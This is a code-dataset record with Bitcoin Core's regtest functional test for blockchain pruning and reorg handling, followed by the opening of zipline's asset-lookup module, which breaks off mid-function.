alexandergaldones/bitcoin

6206252e5073c1cde2e313f2e5a3ca17582c5823

[ "MIT" ]

null

qa/rpc-tests/pruning.py

alexandergaldones/bitcoin

6206252e5073c1cde2e313f2e5a3ca17582c5823

[ "MIT" ]

1

2017-03-10T16:37:46.000Z

qa/rpc-tests/pruning.py

PETER-ITPE/bitcoin_pjt

53c300fb525ab3e21206d47d8353f5246b4f24d1

[ "MIT" ]

null

#!/usr/bin/env python3 # Copyright (c) 2014-2016 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test the pruning code. WARNING: This test uses 4GB of disk space. This test takes 30 mins or more (up to 2 hours) """ from test_framework.test_framework import BitcoinTestFramework from test_framework.util import * import time import os MIN_BLOCKS_TO_KEEP = 288 # Rescans start at the earliest block up to 2 hours before a key timestamp, so # the manual prune RPC avoids pruning blocks in the same window to be # compatible with pruning based on key creation time. RESCAN_WINDOW = 2 * 60 * 60 def calc_usage(blockdir): return sum(os.path.getsize(blockdir+f) for f in os.listdir(blockdir) if os.path.isfile(blockdir+f)) / (1024. * 1024.) class PruneTest(BitcoinTestFramework): def __init__(self): super().__init__() self.setup_clean_chain = True self.num_nodes = 6 # Cache for utxos, as the listunspent may take a long time later in the test self.utxo_cache_0 = [] self.utxo_cache_1 = [] def setup_network(self): self.nodes = [] self.is_network_split = False # Create nodes 0 and 1 to mine self.nodes.append(start_node(0, self.options.tmpdir, ["-debug","-maxreceivebuffer=20000","-blockmaxsize=999000", "-checkblocks=5"], timewait=900)) self.nodes.append(start_node(1, self.options.tmpdir, ["-debug","-maxreceivebuffer=20000","-blockmaxsize=999000", "-checkblocks=5"], timewait=900)) # Create node 2 to test pruning self.nodes.append(start_node(2, self.options.tmpdir, ["-debug","-maxreceivebuffer=20000","-prune=550"], timewait=900)) self.prunedir = self.options.tmpdir+"/node2/regtest/blocks/" # Create nodes 3 and 4 to test manual pruning (they will be re-started with manual pruning later) self.nodes.append(start_node(3, self.options.tmpdir, ["-debug=0","-maxreceivebuffer=20000","-blockmaxsize=999000"], timewait=900)) self.nodes.append(start_node(4, self.options.tmpdir, ["-debug=0","-maxreceivebuffer=20000","-blockmaxsize=999000"], timewait=900)) # Create nodes 5 to test wallet in prune mode, but do not connect self.nodes.append(start_node(5, self.options.tmpdir, ["-debug=0", "-prune=550"])) # Determine default relay fee self.relayfee = self.nodes[0].getnetworkinfo()["relayfee"] connect_nodes(self.nodes[0], 1) connect_nodes(self.nodes[1], 2) connect_nodes(self.nodes[2], 0) connect_nodes(self.nodes[0], 3) connect_nodes(self.nodes[0], 4) sync_blocks(self.nodes[0:5]) def create_big_chain(self): # Start by creating some coinbases we can spend later self.nodes[1].generate(200) sync_blocks(self.nodes[0:2]) self.nodes[0].generate(150) # Then mine enough full blocks to create more than 550MiB of data for i in range(645): mine_large_block(self.nodes[0], self.utxo_cache_0) sync_blocks(self.nodes[0:5]) def test_height_min(self): if not os.path.isfile(self.prunedir+"blk00000.dat"): raise AssertionError("blk00000.dat is missing, pruning too early") print("Success") print("Though we're already using more than 550MiB, current usage:", calc_usage(self.prunedir)) print("Mining 25 more blocks should cause the first block file to be pruned") # Pruning doesn't run until we're allocating another chunk, 20 full blocks past the height cutoff will ensure this for i in range(25): mine_large_block(self.nodes[0], self.utxo_cache_0) waitstart = time.time() while os.path.isfile(self.prunedir+"blk00000.dat"): time.sleep(0.1) if time.time() - waitstart > 30: raise AssertionError("blk00000.dat not pruned when it should be") print("Success") usage = calc_usage(self.prunedir) print("Usage should be below target:", usage) if (usage > 550): raise AssertionError("Pruning target not being met") def create_chain_with_staleblocks(self): # Create stale blocks in manageable sized chunks print("Mine 24 (stale) blocks on Node 1, followed by 25 (main chain) block reorg from Node 0, for 12 rounds") for j in range(12): # Disconnect node 0 so it can mine a longer reorg chain without knowing about node 1's soon-to-be-stale chain # Node 2 stays connected, so it hears about the stale blocks and then reorg's when node0 reconnects # Stopping node 0 also clears its mempool, so it doesn't have node1's transactions to accidentally mine self.stop_node(0) self.nodes[0]=start_node(0, self.options.tmpdir, ["-debug","-maxreceivebuffer=20000","-blockmaxsize=999000", "-checkblocks=5"], timewait=900) # Mine 24 blocks in node 1 for i in range(24): if j == 0: mine_large_block(self.nodes[1], self.utxo_cache_1) else: self.nodes[1].generate(1) #tx's already in mempool from previous disconnects # Reorg back with 25 block chain from node 0 for i in range(25): mine_large_block(self.nodes[0], self.utxo_cache_0) # Create connections in the order so both nodes can see the reorg at the same time connect_nodes(self.nodes[1], 0) connect_nodes(self.nodes[2], 0) sync_blocks(self.nodes[0:3]) print("Usage can be over target because of high stale rate:", calc_usage(self.prunedir)) def reorg_test(self): # Node 1 will mine a 300 block chain starting 287 blocks back from Node 0 and Node 2's tip # This will cause Node 2 to do a reorg requiring 288 blocks of undo data to the reorg_test chain # Reboot node 1 to clear its mempool (hopefully make the invalidate faster) # Lower the block max size so we don't keep mining all our big mempool transactions (from disconnected blocks) self.stop_node(1) self.nodes[1]=start_node(1, self.options.tmpdir, ["-debug","-maxreceivebuffer=20000","-blockmaxsize=5000", "-checkblocks=5", "-disablesafemode"], timewait=900) height = self.nodes[1].getblockcount() print("Current block height:", height) invalidheight = height-287 badhash = self.nodes[1].getblockhash(invalidheight) print("Invalidating block at height:",invalidheight,badhash) self.nodes[1].invalidateblock(badhash) # We've now switched to our previously mined-24 block fork on node 1, but thats not what we want # So invalidate that fork as well, until we're on the same chain as node 0/2 (but at an ancestor 288 blocks ago) mainchainhash = self.nodes[0].getblockhash(invalidheight - 1) curhash = self.nodes[1].getblockhash(invalidheight - 1) while curhash != mainchainhash: self.nodes[1].invalidateblock(curhash) curhash = self.nodes[1].getblockhash(invalidheight - 1) assert(self.nodes[1].getblockcount() == invalidheight - 1) print("New best height", self.nodes[1].getblockcount()) # Reboot node1 to clear those giant tx's from mempool self.stop_node(1) self.nodes[1]=start_node(1, self.options.tmpdir, ["-debug","-maxreceivebuffer=20000","-blockmaxsize=5000", "-checkblocks=5", "-disablesafemode"], timewait=900) print("Generating new longer chain of 300 more blocks") self.nodes[1].generate(300) print("Reconnect nodes") connect_nodes(self.nodes[0], 1) connect_nodes(self.nodes[2], 1) sync_blocks(self.nodes[0:3], timeout=120) print("Verify height on node 2:",self.nodes[2].getblockcount()) print("Usage possibly still high bc of stale blocks in block files:", calc_usage(self.prunedir)) print("Mine 220 more blocks so we have requisite history (some blocks will be big and cause pruning of previous chain)") for i in range(22): # This can be slow, so do this in multiple RPC calls to avoid # RPC timeouts. self.nodes[0].generate(10) #node 0 has many large tx's in its mempool from the disconnects sync_blocks(self.nodes[0:3], timeout=300) usage = calc_usage(self.prunedir) print("Usage should be below target:", usage) if (usage > 550): raise AssertionError("Pruning target not being met") return invalidheight,badhash def reorg_back(self): # Verify that a block on the old main chain fork has been pruned away try: self.nodes[2].getblock(self.forkhash) raise AssertionError("Old block wasn't pruned so can't test redownload") except JSONRPCException as e: print("Will need to redownload block",self.forkheight) # Verify that we have enough history to reorg back to the fork point # Although this is more than 288 blocks, because this chain was written more recently # and only its other 299 small and 220 large block are in the block files after it, # its expected to still be retained self.nodes[2].getblock(self.nodes[2].getblockhash(self.forkheight)) first_reorg_height = self.nodes[2].getblockcount() curchainhash = self.nodes[2].getblockhash(self.mainchainheight) self.nodes[2].invalidateblock(curchainhash) goalbestheight = self.mainchainheight goalbesthash = self.mainchainhash2 # As of 0.10 the current block download logic is not able to reorg to the original chain created in # create_chain_with_stale_blocks because it doesn't know of any peer thats on that chain from which to # redownload its missing blocks. # Invalidate the reorg_test chain in node 0 as well, it can successfully switch to the original chain # because it has all the block data. # However it must mine enough blocks to have a more work chain than the reorg_test chain in order # to trigger node 2's block download logic. # At this point node 2 is within 288 blocks of the fork point so it will preserve its ability to reorg if self.nodes[2].getblockcount() < self.mainchainheight: blocks_to_mine = first_reorg_height + 1 - self.mainchainheight print("Rewind node 0 to prev main chain to mine longer chain to trigger redownload. Blocks needed:", blocks_to_mine) self.nodes[0].invalidateblock(curchainhash) assert(self.nodes[0].getblockcount() == self.mainchainheight) assert(self.nodes[0].getbestblockhash() == self.mainchainhash2) goalbesthash = self.nodes[0].generate(blocks_to_mine)[-1] goalbestheight = first_reorg_height + 1 print("Verify node 2 reorged back to the main chain, some blocks of which it had to redownload") waitstart = time.time() while self.nodes[2].getblockcount() < goalbestheight: time.sleep(0.1) if time.time() - waitstart > 900: raise AssertionError("Node 2 didn't reorg to proper height") assert(self.nodes[2].getbestblockhash() == goalbesthash) # Verify we can now have the data for a block previously pruned assert(self.nodes[2].getblock(self.forkhash)["height"] == self.forkheight) def manual_test(self, node_number, use_timestamp): # at this point, node has 995 blocks and has not yet run in prune mode node = self.nodes[node_number] = start_node(node_number, self.options.tmpdir, ["-debug=0"], timewait=900) assert_equal(node.getblockcount(), 995) assert_raises_message(JSONRPCException, "not in prune mode", node.pruneblockchain, 500) self.stop_node(node_number) # now re-start in manual pruning mode node = self.nodes[node_number] = start_node(node_number, self.options.tmpdir, ["-debug=0","-prune=1"], timewait=900) assert_equal(node.getblockcount(), 995) def height(index): if use_timestamp: return node.getblockheader(node.getblockhash(index))["time"] + RESCAN_WINDOW else: return index def prune(index, expected_ret=None): ret = node.pruneblockchain(height(index)) # Check the return value. When use_timestamp is True, just check # that the return value is less than or equal to the expected # value, because when more than one block is generated per second, # a timestamp will not be granular enough to uniquely identify an # individual block. if expected_ret is None: expected_ret = index if use_timestamp: assert_greater_than(ret, 0) assert_greater_than(expected_ret + 1, ret) else: assert_equal(ret, expected_ret) def has_block(index): return os.path.isfile(self.options.tmpdir + "/node{}/regtest/blocks/blk{:05}.dat".format(node_number, index)) # should not prune because chain tip of node 3 (995) < PruneAfterHeight (1000) assert_raises_message(JSONRPCException, "Blockchain is too short for pruning", node.pruneblockchain, height(500)) # mine 6 blocks so we are at height 1001 (i.e., above PruneAfterHeight) node.generate(6) assert_equal(node.getblockchaininfo()["blocks"], 1001) # negative heights should raise an exception assert_raises_message(JSONRPCException, "Negative", node.pruneblockchain, -10) # height=100 too low to prune first block file so this is a no-op prune(100) if not has_block(0): raise AssertionError("blk00000.dat is missing when should still be there") # Does nothing node.pruneblockchain(height(0)) if not has_block(0): raise AssertionError("blk00000.dat is missing when should still be there") # height=500 should prune first file prune(500) if has_block(0): raise AssertionError("blk00000.dat is still there, should be pruned by now") if not has_block(1): raise AssertionError("blk00001.dat is missing when should still be there") # height=650 should prune second file prune(650) if has_block(1): raise AssertionError("blk00001.dat is still there, should be pruned by now") # height=1000 should not prune anything more, because tip-288 is in blk00002.dat. prune(1000, 1001 - MIN_BLOCKS_TO_KEEP) if not has_block(2): raise AssertionError("blk00002.dat is still there, should be pruned by now") # advance the tip so blk00002.dat and blk00003.dat can be pruned (the last 288 blocks should now be in blk00004.dat) node.generate(288) prune(1000) if has_block(2): raise AssertionError("blk00002.dat is still there, should be pruned by now") if has_block(3): raise AssertionError("blk00003.dat is still there, should be pruned by now") # stop node, start back up with auto-prune at 550MB, make sure still runs self.stop_node(node_number) self.nodes[node_number] = start_node(node_number, self.options.tmpdir, ["-debug=0","-prune=550"], timewait=900) print("Success") def wallet_test(self): # check that the pruning node's wallet is still in good shape print("Stop and start pruning node to trigger wallet rescan") try: self.stop_node(2) start_node(2, self.options.tmpdir, ["-debug=1","-prune=550"]) print("Success") except Exception as detail: raise AssertionError("Wallet test: unable to re-start the pruning node") # check that wallet loads loads successfully when restarting a pruned node after IBD. # this was reported to fail in #7494. print ("Syncing node 5 to test wallet") connect_nodes(self.nodes[0], 5) nds = [self.nodes[0], self.nodes[5]] sync_blocks(nds, wait=5, timeout=300) try: self.stop_node(5) #stop and start to trigger rescan start_node(5, self.options.tmpdir, ["-debug=1","-prune=550"]) print ("Success") except Exception as detail: raise AssertionError("Wallet test: unable to re-start node5") def run_test(self): print("Warning! This test requires 4GB of disk space and takes over 30 mins (up to 2 hours)") print("Mining a big blockchain of 995 blocks") self.create_big_chain() # Chain diagram key: # * blocks on main chain # +,&,$,@ blocks on other forks # X invalidated block # N1 Node 1 # # Start by mining a simple chain that all nodes have # N0=N1=N2 **...*(995) # stop manual-pruning node with 995 blocks self.stop_node(3) self.stop_node(4) print("Check that we haven't started pruning yet because we're below PruneAfterHeight") self.test_height_min() # Extend this chain past the PruneAfterHeight # N0=N1=N2 **...*(1020) print("Check that we'll exceed disk space target if we have a very high stale block rate") self.create_chain_with_staleblocks() # Disconnect N0 # And mine a 24 block chain on N1 and a separate 25 block chain on N0 # N1=N2 **...*+...+(1044) # N0 **...**...**(1045) # # reconnect nodes causing reorg on N1 and N2 # N1=N2 **...*(1020) *...**(1045) # \ # +...+(1044) # # repeat this process until you have 12 stale forks hanging off the # main chain on N1 and N2 # N0 *************************...***************************(1320) # # N1=N2 **...*(1020) *...**(1045) *.. ..**(1295) *...**(1320) # \ \ \ # +...+(1044) &.. $...$(1319) # Save some current chain state for later use self.mainchainheight = self.nodes[2].getblockcount() #1320 self.mainchainhash2 = self.nodes[2].getblockhash(self.mainchainheight) print("Check that we can survive a 288 block reorg still") (self.forkheight,self.forkhash) = self.reorg_test() #(1033, ) # Now create a 288 block reorg by mining a longer chain on N1 # First disconnect N1 # Then invalidate 1033 on main chain and 1032 on fork so height is 1032 on main chain # N1 **...*(1020) **...**(1032)X.. # \ # ++...+(1031)X.. # # Now mine 300 more blocks on N1 # N1 **...*(1020) **...**(1032) @@...@(1332) # \ \ # \ X... # \ \ # ++...+(1031)X.. .. # # Reconnect nodes and mine 220 more blocks on N1 # N1 **...*(1020) **...**(1032) @@...@@@(1552) # \ \ # \ X... # \ \ # ++...+(1031)X.. .. # # N2 **...*(1020) **...**(1032) @@...@@@(1552) # \ \ # \ *...**(1320) # \ \ # ++...++(1044) .. # # N0 ********************(1032) @@...@@@(1552) # \ # *...**(1320) print("Test that we can rerequest a block we previously pruned if needed for a reorg") self.reorg_back() # Verify that N2 still has block 1033 on current chain (@), but not on main chain (*) # Invalidate 1033 on current chain (@) on N2 and we should be able to reorg to # original main chain (*), but will require redownload of some blocks # In order to have a peer we think we can download from, must also perform this invalidation # on N0 and mine a new longest chain to trigger. # Final result: # N0 ********************(1032) **...****(1553) # \ # X@...@@@(1552) # # N2 **...*(1020) **...**(1032) **...****(1553) # \ \ # \ X@...@@@(1552) # \ # +.. # # N1 doesn't change because 1033 on main chain (*) is invalid print("Test manual pruning with block indices") self.manual_test(3, use_timestamp=False) print("Test manual pruning with timestamps") self.manual_test(4, use_timestamp=True) print("Test wallet re-scan") self.wallet_test() print("Done") if __name__ == '__main__': PruneTest().main()

47.284768

167

0.603455

ace8d02dd9a9e65bfbfbae438c3654b0674bb2ab

46,983

py

Python

zipline/assets/assets.py

hebpmo/zipline

396469b29e7e0daea4fe1e8a1c18f6c7eeb92780

[ "Apache-2.0" ]

4

2018-11-17T20:04:53.000Z

2021-12-10T14:47:30.000Z

zipline/assets/assets.py

t330883522/zipline

396469b29e7e0daea4fe1e8a1c18f6c7eeb92780

[ "Apache-2.0" ]

null

zipline/assets/assets.py

t330883522/zipline

396469b29e7e0daea4fe1e8a1c18f6c7eeb92780

[ "Apache-2.0" ]

3

2018-11-17T20:04:50.000Z

2020-03-01T11:11:41.000Z

# Copyright 2016 Quantopian, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from abc import ABCMeta import array import binascii from collections import deque, namedtuple from functools import partial from numbers import Integral from operator import itemgetter, attrgetter import struct from logbook import Logger import numpy as np import pandas as pd from pandas import isnull from six import with_metaclass, string_types, viewkeys, iteritems import sqlalchemy as sa from toolz import ( compose, concat, concatv, curry, merge, partition_all, sliding_window, valmap, ) from toolz.curried import operator as op from zipline.errors import ( EquitiesNotFound, FutureContractsNotFound, MapAssetIdentifierIndexError, MultipleSymbolsFound, MultipleValuesFoundForField, MultipleValuesFoundForSid, NoValueForSid, ValueNotFoundForField, SidsNotFound, SymbolNotFound, ) from . import ( Asset, Equity, Future, ) from . continuous_futures import ( ADJUSTMENT_STYLES, CHAIN_PREDICATES, ContinuousFuture, OrderedContracts, ) from .asset_writer import ( check_version_info, split_delimited_symbol, asset_db_table_names, symbol_columns, SQLITE_MAX_VARIABLE_NUMBER, ) from .asset_db_schema import ( ASSET_DB_VERSION ) from zipline.utils.functional import invert from zipline.utils.memoize import lazyval from zipline.utils.numpy_utils import as_column from zipline.utils.preprocess import preprocess from zipline.utils.sqlite_utils import group_into_chunks, coerce_string_to_eng log = Logger('assets.py') # A set of fields that need to be converted to strings before building an # Asset to avoid unicode fields _asset_str_fields = frozenset({ 'symbol', 'asset_name', 'exchange', }) # A set of fields that need to be converted to timestamps in UTC _asset_timestamp_fields = frozenset({ 'start_date', 'end_date', 'first_traded', 'notice_date', 'expiration_date', 'auto_close_date', }) OwnershipPeriod = namedtuple('OwnershipPeriod', 'start end sid value') def merge_ownership_periods(mappings): """ Given a dict of mappings where the values are lists of OwnershipPeriod objects, returns a dict with the same structure with new OwnershipPeriod objects adjusted so that the periods have no gaps. Orders the periods chronologically, and pushes forward the end date of each period to match the start date of the following period. The end date of the last period pushed forward to the max Timestamp. """ return valmap( lambda v: tuple( OwnershipPeriod( a.start, b.start, a.sid, a.value, ) for a, b in sliding_window( 2, concatv( sorted(v), # concat with a fake ownership object to make the last # end date be max timestamp [OwnershipPeriod( pd.Timestamp.max.tz_localize('utc'), None, None, None, )], ), ) ), mappings, ) def build_ownership_map(table, key_from_row, value_from_row): """ Builds a dict mapping to lists of OwnershipPeriods, from a db table. """ rows = sa.select(table.c).execute().fetchall() mappings = {} for row in rows: mappings.setdefault( key_from_row(row), [], ).append( OwnershipPeriod( pd.Timestamp(row.start_date, unit='ns', tz='utc'), pd.Timestamp(row.end_date, unit='ns', tz='utc'), row.sid, value_from_row(row), ), ) return merge_ownership_periods(mappings) @curry def _filter_kwargs(names, dict_): """Filter out kwargs from a dictionary. Parameters ---------- names : set[str] The names to select from ``dict_``. dict_ : dict[str, any] The dictionary to select from. Returns ------- kwargs : dict[str, any] ``dict_`` where the keys intersect with ``names`` and the values are not None. """ return {k: v for k, v in dict_.items() if k in names and v is not None} _filter_future_kwargs = _filter_kwargs(Future._kwargnames) _filter_equity_kwargs = _filter_kwargs(Equity._kwargnames) def _convert_asset_timestamp_fields(dict_): """ Takes in a dict of Asset init args and converts dates to pd.Timestamps """ for key in _asset_timestamp_fields & viewkeys(dict_): value = pd.Timestamp(dict_[key], tz='UTC') dict_[key] = None if isnull(value) else value return dict_ SID_TYPE_IDS = { # Asset would be 0, ContinuousFuture: 1, } CONTINUOUS_FUTURE_ROLL_STYLE_IDS = { 'calendar': 0, 'volume': 1, } CONTINUOUS_FUTURE_ADJUSTMENT_STYLE_IDS = { None: 0, 'div': 1, 'add': 2, } def _encode_continuous_future_sid(root_symbol, offset, roll_style, adjustment_style): s = struct.Struct("B 2B B B B 2B") # B - sid type # 2B - root symbol # B - offset (could be packed smaller since offsets of greater than 12 are # probably unneeded.) # B - roll type # B - adjustment # 2B - empty space left for parameterized roll types # The root symbol currently supports 2 characters. If 3 char root symbols # are needed, the size of the root symbol does not need to change, however # writing the string directly will need to change to a scheme of writing # the A-Z values in 5-bit chunks. a = array.array('B', [0] * s.size) rs = bytearray(root_symbol, 'ascii') values = (SID_TYPE_IDS[ContinuousFuture], rs[0], rs[1], offset, CONTINUOUS_FUTURE_ROLL_STYLE_IDS[roll_style], CONTINUOUS_FUTURE_ADJUSTMENT_STYLE_IDS[adjustment_style], 0, 0) s.pack_into(a, 0, *values) return int(binascii.hexlify(a), 16) class AssetFinder(object): """ An AssetFinder is an interface to a database of Asset metadata written by an ``AssetDBWriter``. This class provides methods for looking up assets by unique integer id or by symbol. For historical reasons, we refer to these unique ids as 'sids'. Parameters ---------- engine : str or SQLAlchemy.engine An engine with a connection to the asset database to use, or a string that can be parsed by SQLAlchemy as a URI. future_chain_predicates : dict A dict mapping future root symbol to a predicate function which accepts a contract as a parameter and returns whether or not the contract should be included in the chain. See Also -------- :class:`zipline.assets.AssetDBWriter` """ # Token used as a substitute for pickling objects that contain a # reference to an AssetFinder. PERSISTENT_TOKEN = "<AssetFinder>" @preprocess(engine=coerce_string_to_eng(require_exists=True)) def __init__(self, engine, future_chain_predicates=CHAIN_PREDICATES): self.engine = engine metadata = sa.MetaData(bind=engine) metadata.reflect(only=asset_db_table_names) for table_name in asset_db_table_names: setattr(self, table_name, metadata.tables[table_name]) # Check the version info of the db for compatibility check_version_info(engine, self.version_info, ASSET_DB_VERSION) # Cache for lookup of assets by sid, the objects in the asset lookup # may be shared with the results from equity and future lookup caches. # # The top level cache exists to minimize lookups on the asset type # routing. # # The caches are read through, i.e. accessing an asset through # retrieve_asset will populate the cache on first retrieval. self._caches = (self._asset_cache, self._asset_type_cache) = {}, {} self._future_chain_predicates = future_chain_predicates \ if future_chain_predicates is not None else {} self._ordered_contracts = {} # Populated on first call to `lifetimes`. self._asset_lifetimes = None def _reset_caches(self): """ Reset our asset caches. You probably shouldn't call this method. """ # This method exists as a workaround for the in-place mutating behavior # of `TradingAlgorithm._write_and_map_id_index_to_sids`. No one else # should be calling this. for cache in self._caches: cache.clear() self.reload_symbol_maps() def reload_symbol_maps(self): """Clear the in memory symbol lookup maps. This will make any changes to the underlying db available to the symbol maps. """ # clear the lazyval caches, the next access will requery try: del type(self).symbol_ownership_map[self] except KeyError: pass try: del type(self).fuzzy_symbol_ownership_map[self] except KeyError: pass try: del type(self).equity_supplementary_map[self] except KeyError: pass try: del type(self).equity_supplementary_map_by_sid[self] except KeyError: pass @lazyval def symbol_ownership_map(self): return build_ownership_map( table=self.equity_symbol_mappings, key_from_row=( lambda row: (row.company_symbol, row.share_class_symbol) ), value_from_row=lambda row: row.symbol, ) @lazyval def fuzzy_symbol_ownership_map(self): fuzzy_mappings = {} for (cs, scs), owners in iteritems(self.symbol_ownership_map): fuzzy_owners = fuzzy_mappings.setdefault( cs + scs, [], ) fuzzy_owners.extend(owners) fuzzy_owners.sort() return fuzzy_mappings @lazyval def equity_supplementary_map(self): return build_ownership_map( table=self.equity_supplementary_mappings, key_from_row=lambda row: (row.field, row.value), value_from_row=lambda row: row.value, ) @lazyval def equity_supplementary_map_by_sid(self): return build_ownership_map( table=self.equity_supplementary_mappings, key_from_row=lambda row: (row.field, row.sid), value_from_row=lambda row: row.value, ) def lookup_asset_types(self, sids): """ Retrieve asset types for a list of sids. Parameters ---------- sids : list[int] Returns ------- types : dict[sid -> str or None] Asset types for the provided sids. """ found = {} missing = set() for sid in sids: try: found[sid] = self._asset_type_cache[sid] except KeyError: missing.add(sid) if not missing: return found router_cols = self.asset_router.c for assets in group_into_chunks(missing): query = sa.select((router_cols.sid, router_cols.asset_type)).where( self.asset_router.c.sid.in_(map(int, assets)) ) for sid, type_ in query.execute().fetchall(): missing.remove(sid) found[sid] = self._asset_type_cache[sid] = type_ for sid in missing: found[sid] = self._asset_type_cache[sid] = None return found def group_by_type(self, sids): """ Group a list of sids by asset type. Parameters ---------- sids : list[int] Returns ------- types : dict[str or None -> list[int]] A dict mapping unique asset types to lists of sids drawn from sids. If we fail to look up an asset, we assign it a key of None. """ return invert(self.lookup_asset_types(sids)) def retrieve_asset(self, sid, default_none=False): """ Retrieve the Asset for a given sid. """ try: asset = self._asset_cache[sid] if asset is None and not default_none: raise SidsNotFound(sids=[sid]) return asset except KeyError: return self.retrieve_all((sid,), default_none=default_none)[0] def retrieve_all(self, sids, default_none=False): """ Retrieve all assets in `sids`. Parameters ---------- sids : iterable of int Assets to retrieve. default_none : bool If True, return None for failed lookups. If False, raise `SidsNotFound`. Returns ------- assets : list[Asset or None] A list of the same length as `sids` containing Assets (or Nones) corresponding to the requested sids. Raises ------ SidsNotFound When a requested sid is not found and default_none=False. """ hits, missing, failures = {}, set(), [] for sid in sids: try: asset = self._asset_cache[sid] if not default_none and asset is None: # Bail early if we've already cached that we don't know # about an asset. raise SidsNotFound(sids=[sid]) hits[sid] = asset except KeyError: missing.add(sid) # All requests were cache hits. Return requested sids in order. if not missing: return [hits[sid] for sid in sids] update_hits = hits.update # Look up cache misses by type. type_to_assets = self.group_by_type(missing) # Handle failures failures = {failure: None for failure in type_to_assets.pop(None, ())} update_hits(failures) self._asset_cache.update(failures) if failures and not default_none: raise SidsNotFound(sids=list(failures)) # We don't update the asset cache here because it should already be # updated by `self.retrieve_equities`. update_hits(self.retrieve_equities(type_to_assets.pop('equity', ()))) update_hits( self.retrieve_futures_contracts(type_to_assets.pop('future', ())) ) # We shouldn't know about any other asset types. if type_to_assets: raise AssertionError( "Found asset types: %s" % list(type_to_assets.keys()) ) return [hits[sid] for sid in sids] def retrieve_equities(self, sids): """ Retrieve Equity objects for a list of sids. Users generally shouldn't need to this method (instead, they should prefer the more general/friendly `retrieve_assets`), but it has a documented interface and tests because it's used upstream. Parameters ---------- sids : iterable[int] Returns ------- equities : dict[int -> Equity] Raises ------ EquitiesNotFound When any requested asset isn't found. """ return self._retrieve_assets(sids, self.equities, Equity) def _retrieve_equity(self, sid): return self.retrieve_equities((sid,))[sid] def retrieve_futures_contracts(self, sids): """ Retrieve Future objects for an iterable of sids. Users generally shouldn't need to this method (instead, they should prefer the more general/friendly `retrieve_assets`), but it has a documented interface and tests because it's used upstream. Parameters ---------- sids : iterable[int] Returns ------- equities : dict[int -> Equity] Raises ------ EquitiesNotFound When any requested asset isn't found. """ return self._retrieve_assets(sids, self.futures_contracts, Future) @staticmethod def _select_assets_by_sid(asset_tbl, sids): return sa.select([asset_tbl]).where( asset_tbl.c.sid.in_(map(int, sids)) ) @staticmethod def _select_asset_by_symbol(asset_tbl, symbol): return sa.select([asset_tbl]).where(asset_tbl.c.symbol == symbol) def _select_most_recent_symbols_chunk(self, sid_group): """Retrieve the most recent symbol for a set of sids. Parameters ---------- sid_group : iterable[int] The sids to lookup. The length of this sequence must be less than or equal to SQLITE_MAX_VARIABLE_NUMBER because the sids will be passed in as sql bind params. Returns ------- sel : Selectable The sqlalchemy selectable that will query for the most recent symbol for each sid. Notes ----- This is implemented as an inner select of the columns of interest ordered by the end date of the (sid, symbol) mapping. We then group that inner select on the sid with no aggregations to select the last row per group which gives us the most recently active symbol for all of the sids. """ symbol_cols = self.equity_symbol_mappings.c inner = sa.select( (symbol_cols.sid,) + tuple(map( op.getitem(symbol_cols), symbol_columns, )), ).where( symbol_cols.sid.in_(map(int, sid_group)), ).order_by( symbol_cols.end_date.asc(), ) return sa.select(inner.c).group_by(inner.c.sid) def _lookup_most_recent_symbols(self, sids): symbols = { row.sid: {c: row[c] for c in symbol_columns} for row in concat( self.engine.execute( self._select_most_recent_symbols_chunk(sid_group), ).fetchall() for sid_group in partition_all( SQLITE_MAX_VARIABLE_NUMBER, sids ) ) } if len(symbols) != len(sids): raise EquitiesNotFound( sids=set(sids) - set(symbols), plural=True, ) return symbols def _retrieve_asset_dicts(self, sids, asset_tbl, querying_equities): if not sids: return if querying_equities: def mkdict(row, symbols=self._lookup_most_recent_symbols(sids)): return merge(row, symbols[row['sid']]) else: mkdict = dict for assets in group_into_chunks(sids): # Load misses from the db. query = self._select_assets_by_sid(asset_tbl, assets) for row in query.execute().fetchall(): yield _convert_asset_timestamp_fields(mkdict(row)) def _retrieve_assets(self, sids, asset_tbl, asset_type): """ Internal function for loading assets from a table. This should be the only method of `AssetFinder` that writes Assets into self._asset_cache. Parameters --------- sids : iterable of int Asset ids to look up. asset_tbl : sqlalchemy.Table Table from which to query assets. asset_type : type Type of asset to be constructed. Returns ------- assets : dict[int -> Asset] Dict mapping requested sids to the retrieved assets. """ # Fastpath for empty request. if not sids: return {} cache = self._asset_cache hits = {} querying_equities = issubclass(asset_type, Equity) filter_kwargs = ( _filter_equity_kwargs if querying_equities else _filter_future_kwargs ) rows = self._retrieve_asset_dicts(sids, asset_tbl, querying_equities) for row in rows: sid = row['sid'] asset = asset_type(**filter_kwargs(row)) hits[sid] = cache[sid] = asset # If we get here, it means something in our code thought that a # particular sid was an equity/future and called this function with a # concrete type, but we couldn't actually resolve the asset. This is # an error in our code, not a user-input error. misses = tuple(set(sids) - viewkeys(hits)) if misses: if querying_equities: raise EquitiesNotFound(sids=misses) else: raise FutureContractsNotFound(sids=misses) return hits def _lookup_symbol_strict(self, symbol, as_of_date): # split the symbol into the components, if there are no # company/share class parts then share_class_symbol will be empty company_symbol, share_class_symbol = split_delimited_symbol(symbol) try: owners = self.symbol_ownership_map[ company_symbol, share_class_symbol, ] assert owners, 'empty owners list for %r' % symbol except KeyError: # no equity has ever held this symbol raise SymbolNotFound(symbol=symbol) if not as_of_date: if len(owners) > 1: # more than one equity has held this ticker, this is ambigious # without the date raise MultipleSymbolsFound( symbol=symbol, options=set(map( compose(self.retrieve_asset, attrgetter('sid')), owners, )), ) # exactly one equity has ever held this symbol, we may resolve # without the date return self.retrieve_asset(owners[0].sid) for start, end, sid, _ in owners: if start <= as_of_date < end: # find the equity that owned it on the given asof date return self.retrieve_asset(sid) # no equity held the ticker on the given asof date raise SymbolNotFound(symbol=symbol) def _lookup_symbol_fuzzy(self, symbol, as_of_date): symbol = symbol.upper() company_symbol, share_class_symbol = split_delimited_symbol(symbol) try: owners = self.fuzzy_symbol_ownership_map[ company_symbol + share_class_symbol ] assert owners, 'empty owners list for %r' % symbol except KeyError: # no equity has ever held a symbol matching the fuzzy symbol raise SymbolNotFound(symbol=symbol) if not as_of_date: if len(owners) == 1: # only one valid match return 